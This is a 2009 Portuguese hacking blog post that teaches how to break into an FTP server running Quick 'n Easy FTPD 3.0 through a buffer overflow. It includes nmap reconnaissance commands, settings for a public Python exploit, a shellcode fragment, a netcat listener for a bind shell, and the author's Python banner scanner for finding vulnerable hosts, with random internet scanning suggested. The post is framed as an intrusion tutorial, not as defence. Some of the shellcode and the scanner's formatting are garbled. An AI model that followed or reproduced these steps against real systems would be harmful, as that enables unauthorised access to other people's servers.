Contra Rippers

quinta-feira, 3 de setembro de 2009

Invadindo FTP com exploit

Por Twi John

Estarei mostrando como invadir FTP com um exploit pronto, além de FTP você pode usar a mesa técnica para invadir Telnet, SSH entre outros.

A falha usada será buffer overflow, não estarei mostrando como funciona a falha, apenas mostrarei como invadir, já que não é aula de programação.
Estarei mostrando um exploit já muito antigo, mais facil de entender, por isso escolhi ele, este guia estará guiando você não ensinando receita de bolo.



Primeiro você deve identificar o serviço, versão, OS, entre outros. Você pode usar o nmap para isso usando a seguinte linha que gosto de usar:

nmap -v -sV -sC -O host

Para nosso caso, será encontrado um host com Quick 'n Easy FTPD 3.0, será necessario você ter acesso a algum usuario ou ftp anonimo, usando o -sC você saberá se o servidor tem acesso anonimo.
Veja o sistema operaciona.
Feito isso agora vamos usar o exploit em python.

http://www.securiteam.com/exploits/5WP0C2AJ5W.html

Aqui você deve configurar ele:

host = "127.0.0.1" // O Host que será explorado
port = 21 // A porta , por padrão 21
user = "h07" // O usuario, caso tenha acesso anonimo coloque "ftp"
password = "open" // Mesma coisa do usuario

Shellcode: No caso desse exploit será aberto a calculadora do windows, mais você pode estar alterando ele, pode encontrar shellcodes no site do metasploit ou então fazendo você mesmo.

http://www.metasploit.com/shellcode

shellcode = (
#bad chars: 0x00 0x0a 0x0d 0x5c 0x2f
#reconstruction PEB block
#mov dword edx, 0x7FFDF020 ;EDX <-- RtlEnterCriticalSection pointer
#mov dword [edx], 0x77F8AA4C ;RtlEnterCriticalSection pointer <-- original value
#...

"\xba\x20\xf0\xfd\x7f\xc7\x02\x4c\xaa\xf8\x77"
"\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\ x53\ xB9"
"\xad\xaa\x01\x78" #Address of system() function (2000 SP0 polish)
"\xFF\xD1\xEB\xF7")

Pronto, agora ele irá enviar "A" 267, para ocorrer o buffer overflow colocando a shellcode.

Caso você tenha escolhido uma shellcode de bind, antes de explorar você abre o netcat e digita : nc -vv -l -p (porta de bind) -n

Agora usa o exploit e você estará conectado na shell do sistema.

Obrigado, espero que tenham gostado. Me corrijam qualquer coisa.

Criei um exploit para ajudar ai na procura pelo FTP que você quizer:
Você tem que ter uma "lista.txt" com todos os IP's que você deseja scaniar.
Onde ta "Microsoft FTP" você altera para o nome que você deseja procurar no caso Quick 'n Easy FTPD 3.0, mais não sei se é assim que é escrito no banner então não coloquei.

Use nmap para encontrar hosts:

nmap -sP host/24
nmap -v -iR 1000 -p21

Nisso você decide como vai fazer o scan.

Agora o exploit:

#!/usr/bin/python
#Coded by Twi John


from ftplib import FTP
import re

print """
______ _ ______
| ___| | | | ___
| |_ ___ _ _ _ __ __| | | |_/ / __ _ _ __ _ __ ___ _ __
| _/ _ | | | | '_ / _` | | ___ / _` | '_ | '_ / _ '__|
| || (_) | |_| | | | | (_| | | |_/ / (_| | | | | | | | __/ |
_| ___/ __,_|_| |_|__,_| ____/ __,_|_| |_|_| |_|___|_|


______ ___________ _____
| ___|_ _| ___ / ___|
| |_ | | | |_/ / `--. ___ __ _ _ __ _ __ ___ _ __
| _| | | | __/ `--. / __/ _` | '_ | '_ / _ '__|
| | | | | | /__/ / (_| (_| | | | | | | | __/ |
_| _/ _| ____/ _____,_|_| |_|_| |_|___|_|

Coded By Twi John

"""

print ("Servers Found:")
lista = open("list.txt","r")
for line in lista.readlines():
lst = line
ftp = FTP(lst)
banner = ftp.getwelcome()
if re.search("Microsoft FTP",banner):
print(lst)

0 comentários: